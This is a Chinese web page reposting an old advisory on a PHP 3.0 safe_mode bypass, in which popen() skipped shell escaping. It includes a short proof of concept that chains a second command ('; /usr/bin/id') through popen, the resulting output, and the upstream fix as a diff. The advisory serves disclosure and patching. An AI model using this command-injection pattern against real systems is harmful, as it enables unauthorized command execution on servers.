PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
Php做的端口嗅探器--可以指定网站和端口
Oct 09 PHP
在PHP中操作Excel实例代码
Apr 29 PHP
PHP中json_encode、json_decode与serialize、unserialize的性能测试分析
Jun 09 PHP
php数据库连接时容易出错的特殊符号问题
Sep 01 PHP
深入探讨:PHP使用数据库永久连接方式操作MySQL的是与非
Jun 05 PHP
利用php绘制饼状图的实现代码
Jun 07 PHP
php动态生成函数示例
Mar 21 PHP
PHP中数据库单例模式的实现代码分享
Aug 21 PHP
PHP网站开发中常用的8个小技巧
Feb 13 PHP
php 利用socket发送HTTP请求(GET,POST)
Aug 24 PHP
php如何计算两坐标点之间的距离
Dec 29 PHP
ThinkPhP+Apache+PHPstorm整合框架流程图解
Nov 23 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
php print EOF实现方法
2009/05/21 PHP
php下批量挂马和批量清马代码
2011/02/27 PHP
DEDECMS首页调用图片集里的多张图片
2015/06/05 PHP
PHP单例模式详解及实例代码
2016/12/21 PHP
如何打开php的gd2库
2017/02/09 PHP
JQuery从头学起第一讲
2010/07/04 Javascript
面向对象设计模式的核心法则
2013/11/10 Javascript
JavaScript 作用域链解析
2014/11/13 Javascript
jQuery插件scroll实现无缝滚动效果
2015/04/27 Javascript
js实现带缓动动画的导航栏效果
2017/01/16 Javascript
jQuery接受后台传递的List的实例详解
2017/08/02 jQuery
基于JavaScript实现报警器提示音效果
2017/10/27 Javascript
微信小程序—setTimeOut定时器的问题及解决
2019/07/26 Javascript
jQuery实现简单弹幕效果
2019/11/28 jQuery
vue-路由精讲 二级路由和三级路由的作用
2020/08/06 Javascript
[01:57]2016完美“圣”典风云人物:国士无双专访
2016/12/04 DOTA
[01:20]PWL S2开团时刻第三期——团战可以输 蝙蝠必须死
2020/11/26 DOTA
python 上下文管理器使用方法小结
2017/10/10 Python
用python脚本24小时刷浏览器的访问量方法
2018/12/07 Python
python机器人运动范围问题的解答
2019/04/29 Python
在Pytorch中使用样本权重(sample_weight)的正确方法
2019/08/17 Python
在python中修改.properties文件的操作
2020/04/08 Python
Python 实现将某一列设置为str类型
2020/07/14 Python
Python字典fromkeys()方法使用代码实例
2020/07/20 Python
python中实现词云图的示例
2020/12/19 Python
C#中有没有运算符重载?能否使用指针?
2014/05/05 面试题
采购人员的个人自我评价
2014/01/16 职场文书
高中美术教学反思
2014/01/19 职场文书
学校党员对照检查材料
2014/08/28 职场文书
公司领导九九重阳节发言稿2014
2014/09/25 职场文书
2015年员工试用期工作总结
2014/12/12 职场文书
2015试用期转正工作总结
2014/12/12 职场文书
信用卡催款律师函
2015/05/27 职场文书
运动会通讯稿50字
2015/07/20 职场文书
2016小学新学期寄语
2015/12/04 职场文书
2016年质量月活动总结报告
2016/04/05 职场文书